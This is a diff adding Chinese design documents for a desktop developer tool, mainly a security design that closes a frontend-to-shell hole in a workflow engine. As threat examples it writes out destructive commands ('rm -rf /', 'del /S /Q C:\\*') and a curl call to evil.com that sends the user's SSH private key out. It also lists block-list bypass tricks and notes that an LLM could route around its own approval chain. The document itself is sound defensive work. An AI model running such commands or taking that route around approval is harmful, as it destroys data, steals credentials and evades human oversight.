### 5.1 即时迁移失败时的兜底
|
||||
|
||||
即时迁移失败(keyring 权限/锁定/平台问题)→ 函数 `return Err` → **DB 明文保留不变**(INSERT OR REPLACE 未执行)。
|
||||
|
||||
- 用户看到:明确错误「即时迁移失败,请检查钥匙串权限后再次保存」。
|
||||
- 系统状态:与保存前完全一致(DB 明文还在,keyring 仍空,下次启动迁移或下次编辑还会再试)。
|
||||
- **绝不劣化现状**:现状是静默丢失,本方案最坏是「保存失败 + 明确报错 + 状态不变」。
|
||||
|
||||
### 5.2 边界场景
|
||||
|
||||
| 场景 | 行为 |
|
||||
|---|---|
|
||||
| 编辑刚新建(id 不存在/无 old 记录) | `old = None` → 不进迁移分支 → DB 空(新建无 key 正常) |
|
||||
| 编辑已迁移态(DB 空、keyring 有) | `old.api_key.is_empty()` → 不进迁移分支 → DB 保持空(现状) |
|
||||
| 编辑已迁移态但 keyring 被外部清空 | DB 空 + keyring 空 → 不进迁移分支 → DB 保持空 → provider 早已报废(非本设计引入的新问题,属 R-PD-4 范畴) |
|
||||
| 并发两次保存同一 provider | `get_by_id` 各读各的,INSERT OR REPLACE 串行化落库;最坏后写覆盖先写,密钥不丢(两者都迁成功或都报错) |
|
||||
| 用户编辑同时填了新 api_key | 走 `!api_key.is_empty()` 显式分支,覆盖写 keyring(现状不变,不进即时迁移分支) |
|
||||
|
||||
### 5.3 不解决的问题(明确边界)
|
||||
|
||||
- **R-PD-4**(迁移失败明文长期滞留 SQLite 文件未加密):本方案不直接解决——即时迁移只是把「未迁移态」在编辑路径收敛,启动迁移失败仍会留下滞留明文。R-PD-4 走独立方向(补 N 次失败阈值警告),不在本设计范围。
|
||||
- **provider 被外部清空 keyring 导致已迁移态变废**:本方案不感知外部 keyring 变更(编辑时读 keyring 是即时快照),属 keyring 健康监控范畴,不在本设计。
|
||||
- **CR-01**(删 provider 漏清 keyring,已修):删除路径已加 `delete_provider_secret` 兜底,与本设计(编辑路径)正交。
|
||||
|
||||
---
|
||||
|
||||
## 六、关联
|
||||
|
||||
- **全局代码 review 2026-06-15** §🔴 P1 R-PD-1 — 问题来源与本设计指针。
|
||||
- **CR-260615-01 / CR-01**(已修):`ai_delete_provider` 删 provider 漏清 keyring → 已加 `delete_provider_secret` 兜底(commands.rs:397-399)。本设计是「编辑路径」的对称补丁,与「删除路径」构成密钥生命周期的两端健壮性。
|
||||
- **R-PD-4**(P2 需设计):keyring 迁移失败明文滞留 SQLite 文件未加密 — 与本设计同源(启动迁移失败制造未迁移态),但治理方向不同(本设计收敛编辑路径,R-PD-4 加滞留告警)。两者互补。
|
||||
- **FR-S1**(api_key 密钥管理):`secret.rs` 的 keyring 迁移机制(启动迁移 + resolve fallback + set/get/delete)是本设计依赖的基础设施。本方案在编辑路径补一个「即时迁移」单点,与启动批量迁移形成双层兜底。
|
||||
- **migrate_secrets_to_keyring**(secret.rs:50-72):启动批量迁移,失败保留明文重试——本设计借编辑路径在用户操作时再做一次单点迁移,提升收敛率。
|
||||
- **resolve_provider_secret**(secret.rs:30-35):DB 优先 fallback keyring 的双源 resolve,是「未迁移态」仍可用的原因;本方案收敛未迁移态后,resolve 路径长期看会稳定走 keyring 分支。
|
||||
|
||||
---
|
||||
|
||||
## 七、测试设计
|
||||
|
||||
| 用例 | 方法 | 期望 |
|
||||
|---|---|---|
|
||||
| 未迁移态编辑不改 key → 即时迁移成功 | mock:DB 存明文 + keyring 空,调用 `ai_save_provider` 空 key 改 name | 迁移成功,keyring 写入明文,DB `api_key` 清空,函数返回 Ok(id) |
|
||||
| 未迁移态编辑不改 key → 即时迁移失败 | mock:`set_provider_secret` 返回 Err,DB 存明文 | 函数返回 Err(含迁移失败提示),**DB `api_key` 明文保留不变**(核心兜底) |
|
||||
| 已迁移态编辑不改 key | mock:DB 空 + keyring 有,调用空 key 编辑 | 不进迁移分支,DB 保持空,函数返回 Ok |
|
||||
| 新建 provider 无 key | `id=None`,`api_key=""` | 不进迁移分支(无 old 记录),DB 空,返回 Ok |
|
||||
| 显式改 key(非空 api_key) | 任意态,传非空 api_key | 走显式分支写 keyring,不进即时迁移分支(现状不变) |
|
||||
| 已迁移态但 keyring 被外部清 + DB 也空 | mock:DB 空 + keyring 空 | 不进迁移分支,DB 保持空(provider 已废,非本设计引入) |
|
||||
| 即时迁移后 resolve 正常 | 即时迁移成功后调 `resolve_provider_secret` | 返回非空密钥(迁移成功后 keyring 是唯一源) |
|
||||
|
||||
测试位置:`src-tauri/src/commands/ai/commands.rs` 的 `#[cfg(test)]` 模块(若现无则新增),mock `set/get_provider_secret`(可通过 trait 抽象 + 测试替身,或抽 secret 操作到可注入句柄)。
|
||||
|
||||
---
|
||||
|
||||
**相关**:
|
||||
- `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 R-PD-1 — 问题来源
|
||||
- `src-tauri/src/commands/ai/commands.rs:299-355` — `ai_save_provider` 实施位置
|
||||
- `src-tauri/src/commands/ai/secret.rs` — keyring 迁移/resolve 基础设施
|
||||
- `crates/df-storage/src/crud.rs:884-911` — `AiProviderRepo` insert/update_full(不改)
|
||||
- 功能决策记录「密钥迁移健壮性」— 设计摘要(待补)
|
||||
255
docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md
Normal file
255
docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md
Normal file
@@ -0,0 +1,255 @@
|
||||
# 工作流脚本执行边界设计(R-PD-2)
|
||||
|
||||
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
|
||||
> 日期:2026-06-15
|
||||
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
|
||||
|
||||
---
|
||||
|
||||
## 一、问题:run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1)
|
||||
|
||||
### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
|
||||
|
||||
```
|
||||
前端 runWorkflow(name, dag, config)
|
||||
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界,dag 为前端任意构造的 serde JSON
|
||||
└─ src-tauri/commands/workflow.rs:36 run_workflow
|
||||
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
|
||||
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
|
||||
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
|
||||
├─ command = ctx.config["command"] ← 原始字符串,无校验
|
||||
└─ ShellRequest { command, working_dir, .. }
|
||||
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
|
||||
├─ Windows: cmd /C <command>
|
||||
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
|
||||
```
|
||||
|
||||
前端可提交任意 `DagDef`:
|
||||
|
||||
```ts
|
||||
// 等价攻击载荷(任一)
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
|
||||
```
|
||||
|
||||
`build_dag`(`crates/df-workflow/registry.rs:42`)只做两类校验:
|
||||
1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
|
||||
2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
|
||||
|
||||
**对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。
|
||||
|
||||
### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链
|
||||
|
||||
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
|
||||
|
||||
| 通路 | 入口 | 风控机制 | 审批位置 |
|
||||
|------|------|---------|---------|
|
||||
| **AI 工具调用**(LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`:Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 |
|
||||
| **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段,ScriptNode 不查 pending_approvals |
|
||||
|
||||
关键不对称点:
|
||||
- AI 工具调 shell 走 `execute_command`(tool_registry.rs),**RiskLevel::High + 审批**
|
||||
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`,**零风控**
|
||||
- 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门
|
||||
|
||||
更隐蔽的二次风险:AI 工具 `run_workflow`(`tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**(R-PD-12),LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
|
||||
|
||||
---
|
||||
|
||||
## 二、现状
|
||||
|
||||
### 2.1 DagDef 前端构造,无后端校验
|
||||
|
||||
`DagDef`(`crates/df-workflow/dag_def.rs:7-11`)是纯数据结构:
|
||||
|
||||
```rust
|
||||
pub struct DagDef {
|
||||
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
|
||||
pub edges: Vec<EdgeDef>,
|
||||
}
|
||||
```
|
||||
|
||||
`run_workflow`(`workflow.rs:36`)收 `dag: DagDef` 参数,Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268` 的 `demoDag`:
|
||||
|
||||
```ts
|
||||
const demoDag = {
|
||||
nodes: [
|
||||
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
|
||||
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
|
||||
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
|
||||
],
|
||||
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
|
||||
}
|
||||
```
|
||||
|
||||
**全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**
|
||||
|
||||
### 2.2 ScriptNode 无约束
|
||||
|
||||
`crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command`,`working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。
|
||||
|
||||
### 2.3 shell 解释器全权委托
|
||||
|
||||
`crates/df-execute/shell.rs:37-45`:`cmd /C <command>` / `sh -c <command>`,命令字符串经完整 shell 解释器(管道、重定向、变量展开、通配、命令分隔符全开)。R-P1-2 已修 kill_on_drop(僵尸进程问题),但不影响安全边界。
|
||||
|
||||
---
|
||||
|
||||
## 三、方案三选一详析
|
||||
|
||||
### 方案 ①:build_registry 不注册 "script",掐断节点类型(最安全最小)
|
||||
|
||||
**做法**:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)`。`build_dag` 遇到 `node_type=="script"` 走 `registry.rs:37` 的 `未注册的节点类型` 分支直接 bail。
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **最高**。攻击面从「任意 shell」直接归零,无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
|
||||
| 功能性 | **演示功能报废**。`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) |
|
||||
| 改动面 | **最小**。1 处删除(state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
|
||||
| 误杀风险 | **零误杀**(无合法用户脚本可误杀)。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
|
||||
|
||||
### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
|
||||
|
||||
**做法**:
|
||||
- ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path)必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸)
|
||||
- 命令前缀扫描:`del /`、`rm -rf`、`curl`、`wget`、`> /dev/`、`mkfs`、`format` 等命中 → 改走 HumanNode 审批流程(emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC)
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**:`curl` 可写成 `c""url`、`$(curl)`、`cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
|
||||
| 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 |
|
||||
| 改动面 | **大**。ScriptNode 加路径校验(canonicalize + starts_with)+ 黑名单扫描 + 审批注入逻辑(ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response,复用 human_node.rs 的 select! 模式,~80 行) |
|
||||
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
|
||||
|
||||
### 方案 ③:ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
|
||||
|
||||
**做法**:定义允许的命令前缀(`npm`、`git`、`mvn`、`cargo`、`echo`、`node` 等),命令必须以白名单前缀开头;参数层过滤 `;`、`&&`、`|`、`$()`、反引号等 shell 元字符。
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**(参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push`、`npm publish`、`cargo run -- <任意>`) |
|
||||
| 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 |
|
||||
| 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer(~50 行,且 sanitizer 难写对) |
|
||||
| 误杀风险 | **高**。合法 `npm run build && npm run test` 被 `&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 |
|
||||
|
||||
---
|
||||
|
||||
## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
|
||||
|
||||
### 4.1 推荐 + 理由
|
||||
|
||||
**推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag(或改用 "human" 节点演示审批流)。
|
||||
|
||||
**核心取舍**:DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag,无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
|
||||
|
||||
**触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD(跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说,方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
|
||||
|
||||
### 4.2 改动面(具体函数 + 行号)
|
||||
|
||||
**后端(必须)**:
|
||||
|
||||
`src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册:
|
||||
|
||||
```rust
|
||||
// 改前
|
||||
fn build_registry() -> NodeRegistry {
|
||||
let mut registry = NodeRegistry::new();
|
||||
registry.register("script", |_config| {
|
||||
Box::new(df_nodes::script_node::ScriptNode)
|
||||
});
|
||||
registry.register("human", |_config| { ... });
|
||||
registry.register("ai", |_config| { ... });
|
||||
registry
|
||||
}
|
||||
|
||||
// 改后
|
||||
fn build_registry() -> NodeRegistry {
|
||||
let mut registry = NodeRegistry::new();
|
||||
// "script" 节点不注册:ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
|
||||
// 前端可构造任意 DagDef 触达无审批 shell(R-PD-2)。DevFlow 工作流当前为纯演示
|
||||
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo),无真实构建/部署脚本
|
||||
// 需求。需要脚本执行能力时新建独立 BuildNode(白名单 + 项目目录锚定 + 复用 AI 工具
|
||||
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
|
||||
registry.register("human", |_config| { ... });
|
||||
registry.register("ai", |_config| { ... });
|
||||
registry
|
||||
}
|
||||
```
|
||||
|
||||
效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag` → `registry.create` 走 `registry.rs:37` 的 `未注册的节点类型: script` bail,IPC 直接返 Err,不入库、不进后台执行。
|
||||
|
||||
**前端(必须,否则 demoDag 触发 build_dag 失败报错)**:
|
||||
|
||||
`src/views/ProjectDetail.vue:258-278`,二选一:
|
||||
- **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净)
|
||||
- **b) 改 human 节点演示**:demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
|
||||
|
||||
推荐 a(工作流演示能力本就单薄,移除比换内容更诚实;待真实工作流需求落地时一并重做)。
|
||||
|
||||
**保留不删**:
|
||||
- `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry,见 R-PD-2 设计文档」
|
||||
- `crates/df-execute/shell.rs` 完全保留(R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
|
||||
|
||||
### 4.3 改动量与风险评级
|
||||
|
||||
- 后端:3 行删除 + 1 段注释
|
||||
- 前端:~25 行删除(demoDag + runDemoWorkflow + 按钮)
|
||||
- 风险:**极低**。功能面仅损失演示能力(本就单薄),无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回(registry.rs:37),前端 IPC 拿到 Err 正常展示。
|
||||
|
||||
---
|
||||
|
||||
## 五、风险与未决
|
||||
|
||||
### 5.1 本方案(①)的风险
|
||||
|
||||
| 风险 | 评估 |
|
||||
|------|------|
|
||||
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
|
||||
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode,不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
|
||||
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) |
|
||||
|
||||
### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
|
||||
|
||||
- **白名单/黑名单误杀合法构建命令**:`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
|
||||
- **工作目录 canonicalize 逃逸**:Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`;Unix 上 `~/`、`/proc/self/root` 逃逸。canonicalize 只解析 symlink,不挡 mount boundary
|
||||
- **审批链与 workflow 异步语义结合**:ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做(HumanNode 已踩过 TOCTOU 坑 R-P1-3,再踩一遍成本高)
|
||||
|
||||
---
|
||||
|
||||
## 六、关联
|
||||
|
||||
### 6.1 与 R-PD-12(run_workflow AI 工具 no-op 桩)的协同
|
||||
|
||||
R-PD-12 处理 AI 工具 `run_workflow`(`tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
|
||||
|
||||
**协同关系**:
|
||||
- 本方案(R-PD-2)先把 workflow 系统的 shell 边界封死(掐断 ScriptNode),R-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
|
||||
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef,此时 workflow 边界必须先就位(即本方案先行)
|
||||
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
|
||||
- **顺序约束:R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
|
||||
|
||||
### 6.2 与 shell.rs R-P1-2(kill_on_drop)的关系
|
||||
|
||||
R-P1-2(已修)解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
|
||||
|
||||
- 两者正交:R-P1-2 让被允许执行的 shell 更可靠,R-PD-2 让不该执行的 shell 根本不执行
|
||||
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**(shell.rs 完全不动,未来 BuildNode 复用)
|
||||
- 即使本方案掐断 ScriptNode,shell.rs 的修复仍有价值:BuildNode 未来会调它,且修复本身是独立可靠性提升
|
||||
|
||||
---
|
||||
|
||||
## 七、落地动作清单
|
||||
|
||||
- [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
|
||||
- [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry,见 docs/02-架构设计/专项设计/工作流脚本执行边界-2026-06-15.md」
|
||||
- [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a)
|
||||
- [ ] 文档:本设计文档归档到 `docs/02-架构设计/`
|
||||
- [ ] 决策记录:补一条功能决策记录(ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
|
||||
- [ ] todo:R-PD-12 标注「依赖 R-PD-2 先落地」
|
||||
- [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路
|
||||
93
docs/02-架构设计/专项设计/推进链阶段2实施路径-2026-06-16.md
Normal file
93
docs/02-架构设计/专项设计/推进链阶段2实施路径-2026-06-16.md
Normal file
@@ -0,0 +1,93 @@
|
||||
# 推进链阶段2 实施路径(F-260616-06)
|
||||
|
||||
> 2026-06-16 Plan agent 评估产出。阶段1(7态状态机+advance_task CAS+软删除,commit d2cb38c)已落地。阶段2 目标:工作流联动任务推进(task_id + 完成回调 advance_task + DAG 模板)。
|
||||
>
|
||||
> 决策依据:D-260616-03(advance_task/节点走 df-nodes Node trait,不复活 df-task)。
|
||||
|
||||
## 一、现状基线(代码事实)
|
||||
|
||||
| 维度 | 现状 | 评估 |
|
||||
|---|---|---|
|
||||
| 推进链状态机 | `task_state_machine.rs` 7态 + can_transition/is_regression,完整单测 | ✅ 阶段2 复用零改动 |
|
||||
| advance_task 原子写 | `advance_task_atomic(repo,id,target)` IPC 直驱已注册,CAS+软删+退回 bump_rounds | ✅ 复用 |
|
||||
| TaskAdvanceNode (Node trait) | `task_advance_node.rs:101-166` 已实现,持 Arc<Database>,execute 读 ctx.config | ✅ 节点就绪,仅未注册 |
|
||||
| build_registry 未注册 | `state.rs:232` `fn build_registry()` 无参,无法构造持 db 的 TaskAdvanceNode | 🔴 阻塞点 |
|
||||
| run_workflow task_id | `workflow.rs:36` 签名无 task_id;但 WorkflowRecord.task_id 字段(models/migrations/crud)全链路就绪(写库硬编码 None) | 🟡 IPC 扩展,持久层零改动 |
|
||||
| DagExecutor.run | `executor.rs:49` initial_config.clone() 下沉 NodeContext.config,**忽略 NodeDef.config** | 🔴 DAG 设计缺口(④-1) |
|
||||
| WorkflowCompleted 事件 | 仅 total_duration_ms,无 execution_id/task_id | 🟡 回调需 IPC 闭包捕获 task_id |
|
||||
|
||||
## 二、实施步骤
|
||||
|
||||
### ④ 类 — 架构前置(阻塞)
|
||||
|
||||
**④-1 DagExecutor config 下沉语义修复**
|
||||
- 问题:`executor.rs:99-107` NodeContext.config = initial_config.clone() 覆盖 NodeDef.config,TaskAdvanceNode 读不到节点配置。
|
||||
- 修法(方案 A):`NodeContext.config = deep_merge(node_def_config, initial_config)` 节点级覆盖全局级。Dag 加 `node_configs: HashMap<NodeId, Value>`,build_dag 填入,run 合并下沉。
|
||||
- 文件锁:`crates/df-workflow/src/{dag.rs,executor.rs,registry.rs}` + `src-tauri/src/commands/workflow.rs`
|
||||
|
||||
### ② 类 — 需设计/行为变更(依赖④)
|
||||
|
||||
- **②-1 build_registry 注入 db + 注册 TaskAdvanceNode** — 改签名 `build_registry(db: Arc<Database>)` + move 闭包 `register("task_advance", move |_| Box::new(TaskAdvanceNode::new(db.clone())))` + init 调用传 db.clone()。不改 Node trait(构造时注入)。文件锁:`src-tauri/src/state.rs`
|
||||
- **②-2 run_workflow 加 task_id + target_status 参数** — IPC 签名扩展(Option 可选兼容)+ WorkflowRecord.task_id 填入 + spawn move 捕获。文件锁:`workflow.rs` + `api/workflow.ts` + `stores/project/workflow.ts`
|
||||
- **②-3 完成回调 WorkflowCompleted→advance_task** — spawn 闭包内 executor.run Ok 后,task_id+target_status 都 Some 时调 advance_task_atomic。失败 warn 不回滚(工作流成功语义与任务推进解耦)。文件锁:`workflow.rs`
|
||||
- **②-4 失败回调退回语义** — failed 时按 target_status 推算退回态(testing→in_review,in_review→in_progress)调 advance,或加 failure_target_status 参数。文件锁:`workflow.rs`
|
||||
- **②-5 HumanNode reject 语义化** — options 含 reject/block 时返 Err(非 Ok),使工作流 failed 触发退回。文件锁:`crates/df-nodes/src/human_node.rs`
|
||||
- **②-6 DAG 模板** — `df-nodes/task_workflow_templates.rs`(新)导出 `template_for(target_status)->DagDef`,5 前向边+退回。不建 workflow_defs 表(模板少且稳定,硬编码;tasks.workflow_def_id 留 None)。文件锁:`crates/df-nodes/src/task_workflow_templates.rs`
|
||||
|
||||
### ① 类 — 可并行(无依赖)
|
||||
|
||||
- **①-1 前端 TaskDetail 工作流推进按钮** — 与手动 advance 并存,调 workflowApi.run+监听进度。文件锁:`TaskDetail.vue` + `api/workflow.ts` + `stores/project/workflow.ts`
|
||||
- **①-3 i18n 文案** — `locales/{zh-CN,en}/tasks.ts`
|
||||
|
||||
## 三、风险 + 依赖
|
||||
|
||||
| 风险 | 缓解 |
|
||||
|---|---|
|
||||
| 状态机联动一致性(工作流回调 vs 手动 advance 并发撞 CAS) | advance_task_atomic 已 CAS,回调层捕获 InvalidState 降级 |
|
||||
| advance 失败回滚(工作流 Ok 但回调 advance 失败) | 不回滚工作流(已完成事实),回调失败 warn+前端提示手动处理 |
|
||||
| 工作流 failed 退回语义 | ②-4 按 target 推算退回态或 failure_target_status 参数 |
|
||||
| DAG 循环 | DagExecutor 拓扑排序已检测环,充分 |
|
||||
| task_id 缺失降级 | task_id/target_status 都 None 时不触发回调,向后兼容 |
|
||||
| DagExecutor config 下沉(④-1) | 必须先修,否则节点参数化失效 |
|
||||
| HumanNode reject 语义化(②-5) | 阶段2 必做,否则审查拒绝无法退回 |
|
||||
| 跨表事务缺失 | 阶段2 回调失败降级,阶段3/4 补 Database.transaction() |
|
||||
|
||||
## 四、实施顺序(串行关键路径)
|
||||
|
||||
```
|
||||
④-1 (config 下沉)
|
||||
→ ②-1 (注册 TaskAdvanceNode) ← 单 task_advance 节点 DAG 可端到端
|
||||
→ ②-5 (HumanNode reject 语义化) ← 审查拒绝能走 failed
|
||||
→ ②-2 (run_workflow task_id)
|
||||
→ ②-3 (完成回调) ← AiNode+HumanNode 工作流推进任务可跑
|
||||
→ ②-4 (失败回调退回)
|
||||
→ ②-6 (DAG 模板) ← 前端可一键触发
|
||||
→ ①-1 / ①-3 (前端接入 + i18n) ← 并行收尾
|
||||
```
|
||||
|
||||
**最小可验证里程碑**(④-1+②-1+②-2+②-3):`run_workflow(name, dag, {}, taskId="t1", targetStatus="in_progress")`,DAG=单 task_advance 节点,验证任务 todo→in_progress。无 AiNode/HumanNode 依赖,纯推进链联动验证。
|
||||
|
||||
## 五、TaskAdvanceNode 注册路径
|
||||
|
||||
```rust
|
||||
fn build_registry(db: Arc<Database>) -> NodeRegistry {
|
||||
let mut registry = NodeRegistry::new();
|
||||
registry.register("human", |_| Box::new(df_nodes::human_node::HumanNode));
|
||||
registry.register("ai", |_| Box::new(df_nodes::ai_node::AiNode));
|
||||
registry.register("task_advance", move |_| {
|
||||
Box::new(df_nodes::task_advance_node::TaskAdvanceNode::new(db.clone()))
|
||||
});
|
||||
registry
|
||||
}
|
||||
```
|
||||
|
||||
工厂闭包 move 捕获 db(构造时注入),每次 create 调用 clone 构造新实例。不改 Node trait。
|
||||
|
||||
## 六、DAG 模板形态(阶段2)
|
||||
|
||||
工作流级 target_status(一个工作流对应一次推进):
|
||||
- `todo→in_progress`:单 AiNode 执行
|
||||
